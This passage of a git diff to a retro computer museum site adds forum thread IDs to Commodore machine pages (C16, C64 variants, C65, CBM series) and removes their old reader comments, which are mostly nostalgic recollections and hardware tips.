enormously! I also ran dbase II. It was very useful during my HND in Computing in 1988/9 era related: - /museum/commodore-c64 - /museum/commodore-c64-aldi diff --git a/content/museum/commodore-c16.md b/content/museum/commodore-c16.md index 194f002c..ecf689ce 100644 --- a/content/museum/commodore-c16.md +++ b/content/museum/commodore-c16.md @@ -66,6 +66,7 @@ params: - software - emulators - links + forum_thread: 112 photos: - title: C16 HIGH RESOLUTION subtitle: '' @@ -195,153 +196,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Commodore micros - comments: - - author: Leonardo (Italy) - date: Thursday 21st October 2010 - text: |- - The C16 was my very first computer. My dad bought it in 1985 with the tape recorder. I learned the BASIC from the original manual and then I started learning assembly. - - The only thing that made me hangry was the absence of sprites. It was rather impossible to do a decent game without them. - - Basic was very powerful is compared to the version of C64 and let to do some primitive structured programming using do/loop/while/until. - - Colour were brighter than the C64 ones. Sound, instead, was poor: the TED wasn''t the SID (sic...). - - I experienced 2 problems: the power supply decided to die and the TED started to go crazy...\ - For the first, I replaced with a unit from a ZX Spectrum... for the second, I started to experience problems with games because TED faulted in reading the joy ports. So I had to change the chip. - - I kept that machine 2 years then I bought a PC XT. - - author: Chris Little (New-Zealand) - date: Saturday 8th March 2008 - text: The C16 was my first computer which I bought in NZ for $500. This could potentially be upgraded to have more RAM than the C64 was capable of, but the world was already in love with the C64. and the C16 didn't have sprites. There were other joysticks available apart from the commodore one. I should know - I bought one. This was the right computer for me because of the very good BASIC programming language which I learned quite thoroughly and went on from there to assembly language programming on this machine. The C64 limited BASIC probably would have put me off programming. The PLus4 was a C16 in a different shape, with more RAM and 4 built in applications on ROM. - - author: Anthony Halpin (Ireland) - date: Wednesday 21st June 2006 - text: |- - Hi everyone, - - great site. I've just got a shoddy C-16 from Ebay ... pure rubbish. The 'commodore' emblem was cracked in two, and the thing is filthy. Apart from other problems, when I eventually managed to cure the gibberish that was coming up on the t.v. screen ( chips loose on the motherboard ) straight away I noticed that the power supply was buzzing when plugged in. - - Before this again I had noticed that there was movement in the innards of the power unit: turning it sideways I could feel the heavy metal block thing moving inside the plastic casing. I took it apart and everything looked normal, although I did notice what looked like a legit. line of solder down each side of the metal block thing. Put it back together and plugged it in and left it for about 20 minutes. - - It remained silent for about 17 of those minutes, then the steady buzzing, getting louder and louder. Plugged it out to find that it was quite warm. Has anyone any ideas / suggestions? I have no experience of these machines at all, though I've heard a lot of people say that C-64 PSU's tended to melt. Do C-16 PSU's normally make this noise, and indeed to they vibrate very slightly as mine does? I should mention that it didn't get any warmer than I would deem normal. - - I did notice, on taking apart the PSU, that there's a large capacitor type thing behind the big metal block. This had a foam spacer stuck to the top of it, which I think makes contact with the cover, but the metal block didn't have one. Should it? Could this explain the buzzing? - - Phew! Thanks for reading. - - Regards, - - Anthony. - - author: Zoltan Markus (Hungary) - date: Monday 7th November 2005 - text: |- - I am from Hungary, where there is a big scene for this piece of HW. This was my second computer after a ZX Spectrum, (before that I tried ZX81 also Laser200 with 4 KB of RAM, and after that I owner a C=64 and Amiga, then switched to PC). This is my most favourite computer I ever had (certainly with 64KB internal expansion).\ - After RAM expansion it was equal to a PLUS/4 (except the built in programs, which were anyhow crap), and it was really addictive. I learned the built-in assembly, created some great graphics (as the 128 colors were REALLY great at that time), even converted some small programs from C=64 (raster tricks, etc).\ - Although some people states it is VERY different from C=64, after some extensive learning it is possible to CONVERT 1-1 programs from C=64, I mean just changing some parts and using background converter routines some really wise guys could emulate the sprites and more or less the SID sound --> Same games available on C=16/Plus4 as on C=64, same graphics, similar music, same gameplay. Like Head over Heels, Barbarian, Tass Times, DOC, Revs, Bards Tale3, Battle Chess, Loopz, Ace, Castle Master. Dizzys. Grand Prix Circuit, Knigh Orc, etc. You can find hunders of converted, best ever games of C=64 on C=16/Plus4, without the drawback of worse graphics killed the Spectrum versions. These are the same games... Please check:\ - http://plus4.emucamp.com/games.php?l=%&cols=&icons= - - About the HW: the tape-recorder, the Joysticks and other HW had their converter cables, I used expensive C=64 joys with Atari-->C-16 adapters, and some guys used the original C=64 tape-recorder with and adapter. So it was no "digital signal instead of analog signal", just the interface look different, but you could hardwire it, so some home-work for people like to understand the worls around themselves...\ - Later on I upgraded to 1541-II drive, which worked perfectly, and the same MPS-801 printer was used as for C=64. Later on I owned a Star computer, but I could use it only for C=64, as only for this model I had a Centronics converter. - - I lived this machine very much, as I understood what is happening why, and while the C=64 was more a game-computer (at least you needed extra basic interpreters or assemblers to program it), this piece of HW was able to provide programming experince at your fingertips just unpacking and switching it on. In fact my C=16 had a much better keyboard C=64 had, and PLUS/4 has even had a better one, had REAL cursors (C=16 also has 4 cursor keys (not 2 for the 4 directions), I hope you know, what I mean :-)) ) - - Bye: MMS - - author: john (australia) - date: Tuesday 28th December 2021 - text: The TED machines were an amazing piece of engineering for their time. The entire computer - CPU, video, sound and I/O - were fit onto a \_single\_ chip. No other machine had this level of integration, even those useless Tandy/Sharp pocket PCs were packed full of chips. Only the memory chips were external. The C16 was \_really\_ cheap - it cost $200 for the computer, a cassette drive, a joystick, 4 games on cartridge and 8 on cassette and a BASIC tutorial in Australia - a C64 was $500. The only competitor was a Chinese TRS-80 copy (Vtech VZ200) which cost $300... The TED machines sold about 1 million in 2 years - the Apple IIc by contrast managed about 200,000 in six years. - - author: John (australia) - date: Tuesday 24th August 2021 - text: The C16 was assembled in Corby, UK, in the same factory as the C64 with the circuit board and keyboard manufactured by Commodore in Hong Kong. When Corby closed producion ended. I assume the Mexican units were assembled from unfinished components from HK ? You could of course program using block animation like all non-sprite systems did (Spectrum, Amstrad, PC etc) used, but here wasn''t quite enough memory for full sprite emulation. - - author: Telespielator - date: Thursday 19th August 2021 - text: The C16 isn''t just the plus/4 with less memory! The plus/4 offers 4 built-in programs, a user port (which isn''t compatible with the one of the C64) and a different, probably more ergonomic case and keyboard with different function- and cursour-keys! It also has a different power supply. And the case is NOT the same as the one of the C116, as some people think. The C16 was my first computer (bought by my father at Aldi for himself) and I still like it a lot! - - author: sooyp (United Kingdom) - date: Tuesday 5th January 2021 - text: I had one of these in my early childhood. My Granddad bought one as a gift to me and my brother who was barely out of nappies. All I could was put a tape in the attached tape deck. Run a command to load it and wait sometimes an hour for it to load which in some cases crashed during gameplay. Games were bad. I remember one where you had to jump over pits which was insanely hard. - - author: Sebastian (Austria) - date: Saturday 28th July 2018 - text: 'I just wanted to mention that a real prototype of the Commodore 16 has been sold on eBay in May 2017. It was then examined by members of the german Commodore forum "Forum64". Every part of it is special: The case is a painted C64 case, he keyboard is handmade with engraved keys, and the mainboard is a single layer PCB (!). Bil Herd, former engineer on the 264 series has confirmed its authenticity$ he said that its construction was a (failed) attempt based on cost saving madness by Commodore. So this is probably one of the greates commodore finds in recent years, luckily it has survived and will be preserved for the future. It is located at the Heinz Nixdorf Museum Paderborn, germany.' - - author: Silverlabel (Austria) - date: Monday 29th January 2018 - text: Dont miss the fantastic story about the Commdoroe 16 prototype (check link, german only, use translator)! - - author: Sixteen Plus (UK) - date: Monday 24th September 2012 - text: |- - The C16 wasn''t a commercial failure although it wasn''t a worldwide success. It sold well in the UK and Europe with lots of games being released for it for around 4-5 years which isn''t bad for what''s wrongly seen as a failure. There''s been many more games since in the fan-scene. - - The US alone isn''t sole representative of the whole market. It''s a classic under-rated little machine despite some of it''s faults, there''s some limitations which only just pushed programmers that little bit further to get more out of it, and write games considered now even better than the C64 version. Check out the comparisions of Tom Thumb by Kingsoft for instance. - - P.S. Traiilblazer and A.C.E were first conceived on the C16 $) - - author: Andy SOCHANIK (Bristol, England) - date: Friday 29th April 2011 - text: I had a C64 $ loved it. The User Port could be used to control instrumentation on the IEEE488 bus, just like its big brother, the Commodore PET. When the C16 came out in a Gift Pack with 4 games - I thought the kids would love it - Fire Ant was their favourite, as I recall. I then bought a Plus4 for myself $ discovered they were identical electrically - except for missing RAM. For a little while I had a business running upgrading the C16 to full 64k RAM, by replacing the RAM chips $ re-connecting the two missing address lines. Easy. Shame it did not run C64 software, though - a wasted opportunity. - - author: Shadow (USA) - date: Friday 8th April 2011 - text: I actually had a good amount of C-16 parts, because they used to sell the pieces at Radio Shack. Which was awesome. It was always cool to impress the neighbors with my gray C64, and of course I replaced my 64C control keys (enter, C$, shift, shift-lock etc) with the gray c16 keys it looked VERY professional. - - author: Lez (England) - date: Tuesday 1st February 2011 - text: |- - Hi... - - Does anyone know where I can get a User Manual and any other sort of documentation for the C16.... - - author: Darren (Australia) - date: Saturday 9th October 2010 - text: |- - Hi all. Some GOOD C16 News!\ - I just purchased a Used but MINT Commodore C16 off ebay, for about AU$50!!!\ - I had 1 in my youth, back in the 80''s, so when I saw this, I could not resist!\ - It was complete with Datassette and Games, just no Manual, which I have just aquired.\ - But on Arrival the Power Supply was DEAD!!! (no worries)\ - Unlike other Commodore Computers, VIC-20, C64, Plus4, the C16 has a Standard Power Supply, with a universal Type Plug $ is 9V 1A, readily available from China / Hong Kong for under $10.\ - In Fact, I even had a Spare Apple, Yes Apple, 9.5V 1.5A Old Printer Power Supply and it Works Great on the Commodore 16!!!\ - Best Games I have on the C16 so far, in order are, "Planet Search", "Gnasher", "Panic Penguin" "GALAXIONS" $ "Master Chess".\ - If anyone is interested, I am selling a Spare Copy of "Planet Search" $ "Gnasher" on ebay at this time, just type in "Commodore plus4 / C16 Games Manuals $ Carts TESTED !"\ - Oh, I also have 3 Commodore 64''s, 1 Toshiba MSX, 1 SEGA SC-3000, 2 Amiga 500, 2 Amiga 600, 2 Amiga 1200 and More, bit SAD huh???\ - Darren - - author: David MacLean (UK) - date: Saturday 20th January 2007 - text: I got one of these for my Christmas back in 1984 when I was 9. I don't know why as i could have got the C64 I thinks as it was marketed here in the UK as being sold as a complete package with the tape drive and it was cheaper than the C64 so I thought I was helping my parents out.....wrong choice. Games were thin on the ground and expensive as well as for the Joystick you could buy an adapter lead to convert it from atari to pin as I had a quickfire 2 joystick with this mod - - author: Gwion Mainwaring (UK) - date: Monday 27th November 2006 - text: It has a quick blow fuse inside so if u put to much voltage into the machine it wownt damage its motherboard! I think its a one amp fuse! - - author: Richard Vermeulen (Benelux) - date: Thursday 9th February 2006 - text: A cartridge was sold, at least in Benelux (Europe), that gave the C16 the ability to play C64 games. It also gave the C16 64K of full memory. This upgrade-cartridge was sold to support the sales of the C16 computer models so the C16 users could get access to the bigger C64-software library. It was in 1985-86 - - author: Ekkehard Morgenstern (Germany) - date: Tuesday 17th May 2005 - text: |- - I have bought a used C-16 on eBay some years ago, and I have to\ - say that unlike the leading articles say, the C-16 boots into Commodore\ - BASIC V3.5 right away after switching on. It has 16K of RAM, of which\ - about 12K are usable for programs. - - What's special about the C-16, is its CPU, the powerful BASIC interpreter with plenty of graphics commands, and the fact that it has a built-in machine monitor, which allows for the development of machine code programs right away without extra software (or hardware). - - I wish I had gotten myself a C-16 when it came out! :-(\ - Could've been lots of fun to program! :-) - - But I had an Amstrad CPC-464 at that time, and before that, I had a VIC-20. - - The C-16 was in the same "bread box" as the VIC-20 and C-64. The version with rubber keyboard was called "C-116", and there was another version called "Plus 4" (with built-in software). - - Commodore later on launched right into Amiga, and the 8-bit computers were taken off market (except some computers which have been manufactured up into the 90ies, like the C-64 II). - - Sometimes I wish I had had the money to get my C= collection already in the 80ies, but I was a teen back then. :-( - - author: kra (us) - date: Friday 25th March 2005 - text: maybe as a self-publishing ebay venture - - author: Mark Simpson (Staffordshire, England) - date: Monday 13rd September 2004 - text: My dad programmed over 50 very good, playable games for the C16 from 1985 to 1991, but never got them published. Seen as these games have never been played by anyone outside the family, could these be worth anything to anyone? - - author: Peter Boersma (Netherlands) - date: Thursday 15th July 2004 - text: |- - In The Netherlands this machine cost around Fl.200 (now EUR 80) which included a tape drive and 2 joysticks and possibly the black & red, toiletroll-sized printer too. I think it also came with a cartridge with a text-based adventure game. - - I wrote many programs for this and managed to get several published in the local Commodore fanzine "Commodore Info", receiving Fl.1400 for the rights. This was a profitable business :-) - - author: Martin (Norway) - date: Sunday 23rd February 2003 - text: my c16 is in a black c64 box not in the plus 4 box that\`s in the picture if anyone have a tape recorder and some programs please e.mail me related: - /museum/commodore-c116 - /museum/commodore-plus-4-c232-264-364 diff --git a/content/museum/commodore-c64-aldi.md b/content/museum/commodore-c64-aldi.md index 68fe1e8d..e92f8d8e 100644 --- a/content/museum/commodore-c64-aldi.md +++ b/content/museum/commodore-c64-aldi.md @@ -64,6 +64,7 @@ params: - emulators - links - videos + forum_thread: 1108 photos: - title: C=64 ALDI subtitle: '' @@ -279,16 +280,6 @@ params: - title: C64 assembly line pictures! url: https://www.youtube.com/watch?v=6vzfJLVS2YI text: 'Length: 6 min 56 s' - comments: - - author: Robert - date: Monday 6th May 2013 - text: I had one of these in the USA, I bought it at Sears for $100. - - author: Eric Wolff - date: Sunday 14th April 2013 - text: Also its a misinformation that they lack 9V the 64 magazine (again) believed because of a change in the motherboard Without a 12V regulator it wouldnt be generated anymore but it was a blatant mistake. - - author: Eric Wolff (Luxembourg) - date: Sunday 14th April 2013 - text: It s not correct to say only Aldi because they got also sold by Quelle , Wertkauf and others but Aldi being the most prominent in pushing the sales made the 64 magazine nickname it the Aldi C64. See http://www.c64-wiki.de/index.php/C64_Aldi for more info its in german though. related: - /museum/commodore-c128-c128d - /museum/commodore-c64 diff --git a/content/museum/commodore-c64-golden-jubilee.md b/content/museum/commodore-c64-golden-jubilee.md index c0d76815..e4b6566d 100644 --- a/content/museum/commodore-c64-golden-jubilee.md +++ b/content/museum/commodore-c64-golden-jubilee.md @@ -64,6 +64,7 @@ params: - emulators - links - videos + forum_thread: 1258 photos: - title: THE "GOLDEN C64", A.K.A. GOLDEN JUBILEE C64 subtitle: '' @@ -274,12 +275,6 @@ params: - title: C64 assembly line pictures! url: https://www.youtube.com/watch?v=6vzfJLVS2YI text: 'Length: 6 min 56 s' - comments: - - author: WEMEDIA (italy) - date: Saturday 22nd April 2017 - text: |- - This celebrative model was produced only in Germany in 1986 (about 350 units).\ - In 1984, there was only a "marketing gold sample" mase in USA for winter CES. related: - /museum/commodore-c128-c128d - /museum/commodore-c64 diff --git a/content/museum/commodore-c64-gs-games-system.md b/content/museum/commodore-c64-gs-games-system.md index c39b9df2..0d48db23 100644 --- a/content/museum/commodore-c64-gs-games-system.md +++ b/content/museum/commodore-c64-gs-games-system.md @@ -55,6 +55,7 @@ params: - software - emulators - links + forum_thread: 749 photos: - title: C64GS subtitle: '' @@ -120,19 +121,6 @@ params: - title: The Secret Weapons of Commodore url: http://www.floodgap.com/retrobits/ckb/secret/ultimax.html text: This excellent site as a very nice page about the C64 GS - comments: - - author: Nash - date: Friday 8th December 2017 - text: This wouldn''t have been a terrible idea if, one, the cartridge games never required keyboard commands, and two, if it would have come out in 1985 or 6, instead of 1990... - - author: Nik Williams (UK) - date: Wednesday 2nd March 2005 - text: In 1991 I was working for a company that had the contract to repair all Commodore machines in the UK. I remember the C64 GS just as it was released but we didn't get many in for repair. At that time it was too little too late. If it had been released about 3 or 4 years earlier it could have been a great earner for Commodore. - - author: Claus Ruglund Jakobsen (Denmark) - date: Monday 5th July 2004 - text: My parents gave me a C64G for christmas present in 1990, already then they were stopping production, there was the original GS-joystick and the cartrigde that came with the gs in the box, the games were good, but the joystick was utterly bad. - - author: Nuey San Waldman (Amsterdam (NL)) - date: Tuesday 27th April 2004 - text: Actually, this thing was also sold in The Netherlands. I remember looking at it in a store display (running a soccer game) wondering why Commodore even bothered making this thing. oc_id: 768 source: url: https://web.archive.org/web/20230604170655/http://www.old-computers.com/museum/computer.asp?c=768 diff --git a/content/museum/commodore-c64c.md b/content/museum/commodore-c64c.md index 7e61afce..65cc17ca 100644 --- a/content/museum/commodore-c64c.md +++ b/content/museum/commodore-c64c.md @@ -68,6 +68,7 @@ params: - emulators - links - videos + forum_thread: 972 photos: - title: COMMODORE 64C subtitle: '' @@ -329,95 +330,6 @@ params: - title: C64 assembly line pictures! url: https://www.youtube.com/watch?v=6vzfJLVS2YI text: 'Length: 6 min 56 s' - comments: - - author: Gatton (US) - date: Tuesday 17th November 2020 - text: This was also my childhood machine. I miss turning our computers on and seeing a Ready prompt. Kids these days have it great though. I am typing this from a Raspberry Pi $35 computer. It can run all the old Commodores and Apples or anything else. Super fun! - - author: Gatton (US) - date: Tuesday 17th November 2020 - text: This was also my childhood machine. I miss turning our computers on and seeing a Ready prompt. Kids these days have it great though. I am typing this from a Raspberry Pi $35 computer. It can run all the old Commodores and Apples or anything else. Super fun! - - author: David from Hungary - date: Thursday 1st August 2019 - text: My childhood machine. My mom bought it second-hand around 1996, long after the decline of the 8-Bit era. After we moved on to Windows PCs, the C64C and its peripherals sat boxed in in the basement. This year, I refurbished them, retrobrighted their cases, added heatsinks to the sensitive components. Everything works like a charm, and it''s still a great experience to tinker around with them. - - author: Fabio (Italy) - date: Saturday 22nd April 2017 - text: |- - Fantastic Commodore 64C\ - I play all day during ''80...\ - I ''ve got C64C with old keyboard, see here:\ - https://www.wemedia.it/commodore-64c-166.html - - author: Julián (Argentina) - date: Thursday 26th February 2015 - text: C64C was my first step into the computer world. I was 12 (too old for a newbie nowadays) when my father and I went to the shop to buy it. Programming in Basic, playing games with friends, reading related books to learn something else... all was great with the Commodore64C!! - - author: Pasquale (Italy) - date: Wednesday 20th February 2013 - text: |- - This model has been the most selled in Italy up to 1994.\ - I have got the mine on 1992/93 and that still works good now.\ - I have wrote a lot of programs with it and after 20 years i am yet happy to make the same! - - Viva il C64! - - Regards from Italy / Un saluto dall''Italia - - author: Dag - date: Monday 5th November 2012 - text: 'Marco: Try tinchens online shop on ebay !' - - author: Andreas (Sweden) - date: Thursday 3rd May 2012 - text: This one is my favorite C64. It has better picture quality compared to my older C64:s and the sound chip does actually sound better except for old-style digitized sound. But if you have a look on the Vicious Sid demo, you will see that the 8580 chip is doing much better when playing samples using their mechanism. - - author: Der Doktor (Germany) - date: Friday 24th February 2012 - text: |- - The C64 was my very first computer and it still runs today - perfectly. I have many old computers but the Commodore machines are very special to me. I just love the very simple an classic design and the hardware capabilities.\ - But no C64 and 128 is complete without GEOS, the best OS of all times. It''s still mindblowing what Berkeley Softworks has done. They really managed to run a GUI on a computer with only 64kB of RAM. It''s really amazing. - - author: Marco (Croatia) - date: Sunday 5th June 2011 - text: I have C64C with the diskete unit etc, and everything works fine. The only thing I miss is one key on the keyboard. Anybody knows where to buy a keyboard for C64C? I would really like to have it in "one piece" again. - - author: Jon (United States) - date: Tuesday 31st May 2011 - text: I had one of these. The only drawback was the sound chip itself. You couldn''t hear digitized speech very well. In my experience with one of these, the digitized speech were very faint. The chip used was a MOS 8580, which could be replaced with a MOS 6581, which worked better. Other than that, I liked the styling of the case. The board was very small, and used fewer chips than the previous model it replaced. - - author: Simon Lyne (UK) - date: Monday 11th April 2011 - text: |- - http://www.scribd.com/doc/40437/Commodore-64-Users-Guide Although this is aimed at a C64 the C64C is a C64 re-packaged. So the principle should still apply. - - I hope this helps, I just got mine powered up although there''s some repair work involved. - - author: Shadow (USA) - date: Friday 8th April 2011 - text: Looked good with C-16 command keys by the way - - author: Shadow (USA) - date: Friday 8th April 2011 - text: I have had several 64c''s over the years, I still have one in good working order, with stereo SID on-board and 1mb of RAM. Still have working 1581 and 1541-II drives as well, love to boot up old games now and then. I used to have a 2400 baud USR modem attached to an RS232C cable, but I can no longer find it, I do have a 1200baud automodem though, always wanted to fire it up and hit the old BBS''s again - - author: MJ (Slovakia) - date: Tuesday 4th January 2011 - text: I own C64C bought at \~1989, but it has 8510 CPU (2MHz). I tried it yesterday after 12 years of its inaction plus 9 year of every day use with cassette dataset. All tapes run with no problem. Compare it with your CD carriers. My own have been unreadable after 3-4 years... - - author: Antonio Alves - date: Thursday 18th February 2010 - text: |- - I am a guy who had a machine like this one! - - I would want to think if the c64c form (with keyboard slope and other anti slope towards the grid) was based on the generic graph of the envelope generator: "attack" "decay" "sustain" "release" /$\_\ - / $ just like the commodore profile! - - author: Kerry Fletcher (Toronto) - date: Friday 13rd October 2006 - text: I had one of these from December 87 until April of 1995. Loved it, tons of games (Epyx anyone?) First used Compuserve with this. I still have the 300/1200 baud pocket modem that plugged into the back of the keyboard. Don't know why I still have it. - - author: Allison (Always here somewhere) - date: Friday 6th January 2006 - text: I have one of these computers and have heard many good things about the gaming days from my boyfriend. The only thiing I need to do is to hook this up to a tv, but not sure how to do it on a modern television, so if anyone has a inkling on how to do this, e-mail me. Please! - - author: anthony (Lebanon) - date: Wednesday 8th September 2004 - text: |- - Hy all, ihave the commodore 64c,\ - and unfortunatley, i don't have the manual,\ - and i would like to know how to use the tape,\ - can anyone please tell me where can i find on the net the manual for the tape. or any tutorial ?\ - assi@intracom.net.lb - - author: A. Edmunds (UK) - date: Monday 31st May 2004 - text: I had the C 64 c+ in about 1988, The keys were a darker colour & the letters on the keys were in a different font. I had a device with mine (sorry i don't recall the name) which let you read & write magnetic strips on cards - I put the info from my switch card on my tesco clubcard & amazed my friends when i "accedentally" put the clubcard in the cash point & got money out ... i really should have kept it. The mouse came with a programme called Cheese which was rather like paint. - - author: Mike Palmer (U.K.) - date: Wednesday 7th April 2004 - text: The 64C had the awesome SID chip, with 4 waveforms, ADSR envelope forming, modulation, and a host of other cool tricks. Many people forget the crap gameplay of some of the early C64 games, but few will forget the awesome soundtracks that cam with them. related: - /museum/commodore-c128-c128d - /museum/commodore-c64 diff --git a/content/museum/commodore-c64g.md b/content/museum/commodore-c64g.md index c4803c1f..70413c1d 100644 --- a/content/museum/commodore-c64g.md +++ b/content/museum/commodore-c64g.md @@ -64,6 +64,7 @@ params: - emulators - links - videos + forum_thread: 1106 photos: - title: C=64G subtitle: '' diff --git a/content/museum/commodore-c65.md b/content/museum/commodore-c65.md index 328bd850..1000931e 100644 --- a/content/museum/commodore-c65.md +++ b/content/museum/commodore-c65.md @@ -14,6 +14,7 @@ params: - links - docs - videos + forum_thread: 283 photos: - title: COMMODORE 65 subtitle: '' @@ -108,102 +109,6 @@ params: - title: Commodore C65 64DX Prototype url: https://www.youtube.com/watch?v=16iq88QZQb4 text: 'Length: 2min 35s' - comments: - - author: Frankenburger - date: Sunday 13rd November 2016 - text: |- - Too little, too late.\ - Amiga was already taking the world by storm. - - Although this system should become a part of the VICE emulator$ It isn''t. - - A very smart man made a 90$ working emulator here:\ - https://github.com/lgblgblgb/xemu/wiki - - And lots of videos of working units on www.youtube.com - - What''s really neat is that most of the advanced features are available in C64 mode through simple Poke commands! - - It''s easy to see why people paid $1000''s of dollars for the prototypes. - - It would be really cool if a perfect emulator can be constructed, and the gear heads could port their C64 demos to the C65 emulator. - - In fact the C65 could have challenged and beaten the IBM PC computers and Windows 3.1 of the era. - - author: Mephisto - date: Saturday 2nd April 2016 - text: |- - I do not think there was a special button to execute the transition between c65 and c64, but a particular power mode.\ - Holding down the C$ key and turning the computer on, it went directly to c64. - - author: rendomizer (france) - date: Tuesday 28th October 2014 - text: i think it was the best thing commodore did with the commodore 65 but.... amiga commes .... - - author: matthew - date: Saturday 6th September 2014 - text: someone correct me if im wrong but the c65 compared to a c64 would be like an apple IIgs compared to an earlier apple II - - author: Stefan Egger - date: Monday 12th March 2012 - text: |- - Where shoud that special key 64/65 mode switch should be? There is no key, just enter "GO64" or Press down C$ key on startup like C128. - - Second false information is a 7510 IC. I don''t know what this should be? Please correct me but: A C65 has a VICTOR 4510 CPU, an BILL (VIC-III) 4567 graphics chip and 2 SID Soundchips as well as DMAgic (except Rev 1.1). - - There are probably 200-250 units made. Currently and today I know of about 50 units in collectors hand. - - Maybe someone should update the article. - - author: Shadow (USA) - date: Friday 8th April 2011 - text: I once saw one of these as a C64 DX many years ago, but by that time I had evolved to a C128, so didn''t bother with a new 64 - - author: MrTwo (Germany) - date: Tuesday 8th June 2010 - text: |- - There are (estimated) about 200 existing units of this baby.\ - One was sold last month on ebay for 6600€.... - - author: Lars Fischmann (Denmark) - date: Tuesday 19th May 2009 - text: 'Peter Gordon: The Amiga 500 (which it''''s compared to) was able to display a maximum of 4096 colours and had a max resolution of 640x400, while the C65 had the same colour range, but went as high as 1280x400 in max resolution. I wish I had one of these babies in my Commodore collection, but they are impossible to get.' - - author: Mike Stavola (Germany) - date: Tuesday 6th November 2007 - text: |- - Growing up a few towns away from the Commodore HQ, I've seen a few oddball commodores in the trash or at yard sales.\ - I found one of these at an older man's garage sale in the late 90's. The person who was selling it stated that he used to work at Commodore, and that it was a demo model 65, which was essentially a commodore 64 with a built-in floppy drive.\ - I didn't purchase the system, as he wanted $500 for it. - - author: Mnem (Canada) - date: Friday 16th December 2005 - text: While these where prototyped and produced (in what limited quantities I can't say) exclusively in the UK a lot of them ended up shipped here to Canada due to the Commodore Headquarters here being one of the last ones to close up shop when Commodore went under. As far as I know these where all liquidated during the bankruptcy and most ended up for sale online at Grapevine (old online Amiga store). I actually had one of these on order at one point but cancelled the order when they emailed me stating that they where all PAL models. REALLY wish I hadn't done that now, bad move in hindsight. I think at the time they where selling them for $150 USD. They where also selling A3000+ motherboard prototypes (AGA 3000s) and a few CDTV-II prototype units which I assume they aquired in a similar manner, but they wanted a small fortune for those. - - author: cbmeeks (Chattanooga, TN) - date: Tuesday 30th November 2004 - text: |- - BlackInMind: - - You are wrong. A stock Amiga 500 can display 4096 colors at once using a mode called HAM (or "Hold and Modify"). Plus, a stock Amiga 500 can display 32 colors easily. - - A stock Amiga 1200 or 4000 can display 262,144 colors at once using a mode called HAM8. Which is similar to the HAM mode on the Amiga 500 but it uses 8 bitplanes. A stock Amiga 1200/4000 can easily display 256 colors at once. - - cbmeeks - - author: GloverX (Sweden) - date: Tuesday 7th October 2003 - text: |- - I wonder.. If C65 had been massproduced today, how many had buyed it (today)? And then, if "they" (=commodore) had produced a C66 (today) how many had bought one? - - I was thinking. The past days, the graphic-processor, sound and cpu where "made" for working togheter in the computer. - - If a C66 was built today, and the "past days way" to look at it, - - author: BlackInMind (Greece) - date: Saturday 14th September 2002 - text: Amiga cannot display 262,144 (!) colours on screen. Amiga500 could reach just 16... - - author: Peter Gordon (UK) - date: Friday 30th August 2002 - text: |- - Umm... better than Amiga graphics? I don't think so. The C65 cannot display 262,144 colours on screen for starters :) - - I really, really, really, really want one of these though! - - Also, I've heard differing estimates about the number of 65s produced. Some say around 50, others say as many as 200 or 300. - - AFAIK they were in a warehouse, and when Commodore died, the stock was sold off. - - author: LGB (Hungary) - date: Friday 14th June 2002 - text: Please, donate me with a C65 ;-) oc_id: 273 source: url: https://web.archive.org/web/20230321004130/http://www.old-computers.com/museum/computer.asp?c=273 diff --git a/content/museum/commodore-cbm-500-600-series.md b/content/museum/commodore-cbm-500-600-series.md index d5c2605e..487752fc 100644 --- a/content/museum/commodore-cbm-500-600-series.md +++ b/content/museum/commodore-cbm-500-600-series.md @@ -67,6 +67,7 @@ params: - emulators - links - docs + forum_thread: 118 photos: - title: BACK SIDE subtitle: '' @@ -165,10 +166,6 @@ params:  compiled/archived by www.commodore.ca\  type of document : PDF\  source : [www.commodore.ca](http://www.commodore.ca) - comments: - - author: lodger (Germany) - date: Friday 18th November 2011 - text: I was just given one european (german) CBM 610 salvaged from destruction by a friend. There is a lot of confusion about these systems. The 610 and 620 models are identical to the american CBM 128-80 and CBM 256-80. The 6x0 computers were advanced 8 bit systems that featured BASIC 4.0+, the very powerful SID sound chip (MOS 6581) and were usually equipped with 128 Kb RAM (a few 256 Kb models were built as well). All 6x0 machines had character graphics only. Aimed at advanced hobbyists and professional users, these systems had no success at all. Yet, in germany the CBM 6x0 computers were actually marketed (I vaguely remeber a few ads in magazines) and almost all units produced in the german plant were eventually sold at very low prices by electronics vendors. The machine I now own was originally purchased by an architect who also owned two PETs. Looks like some people actually used these machines after all. related: - /museum/commodore-cbm-700-series - /museum/commodore-cbm-80xx diff --git a/content/museum/commodore-cbm-700-series.md b/content/museum/commodore-cbm-700-series.md index e21c7c64..0e0e5f0b 100644 --- a/content/museum/commodore-cbm-700-series.md +++ b/content/museum/commodore-cbm-700-series.md @@ -68,6 +68,7 @@ params: - emulators - links - docs + forum_thread: 928 photos: - title: MODEL 701 subtitle: '' @@ -237,16 +238,6 @@ params:  compiled/archived by www.commodore.ca\  type of document : PDF\  source : [www.commodore.ca](http://www.commodore.ca) - comments: - - author: Remi Jakobsen (Norge) - date: Sunday 18th March 2018 - text: |- - Computers in the CBM-II series was never sold with integrated floppy drives. But probably it was planned for before at a early stage. - - The CBM/PET 8296D that was using similar "housing" however, was sold with integrated 8250 duel floppy drive . - - author: Gagarin (USA) - date: Monday 27th March 2017 - text: Looking to buy one. Contact gagarinnet @ hotmail.com related: - /museum/commodore-cbm-500-600-series - /museum/commodore-cbm-80xx diff --git a/content/museum/commodore-cbm-80xx.md b/content/museum/commodore-cbm-80xx.md index ec6405af..05ef4ff7 100644 --- a/content/museum/commodore-cbm-80xx.md +++ b/content/museum/commodore-cbm-80xx.md @@ -62,6 +62,7 @@ params: - emulators - links - docs + forum_thread: 119 photos: - title: CBM 8032 subtitle: '' @@ -171,47 +172,6 @@ params:  compiled/archived by www.commodore.ca\  type of document : PDF\  source : [www.commodore.ca](http://www.commodore.ca) - comments: - - author: Peter Singleton (UK) - date: Saturday 17th December 2016 - text: We used these very seriously at a insurance company, Albany Life, where we had these as standard for word-processing (using WordCraft) across the company at about 20 different branches around the UK. Used BASIC programs as well as Visicalc to do a lot of finanical modelling, so much so that we got Wordcraft to develop a micro-mainframe link so that we could transfer data from mainframe into our financial modelling systems. Was much quicker $ more cost-effective than trying to get things done through mainframe systems. Eventually moved to PCs, but loved teh simplicity and flexibility of the Commodore PETs - - author: Jim Amos (Denver, CO USA) - date: Tuesday 5th May 2015 - text: Granville Kirkup in England created a camera repair shop application on the 8032, using the dual 500K floppy drive unit for storage. I bought a system from him and 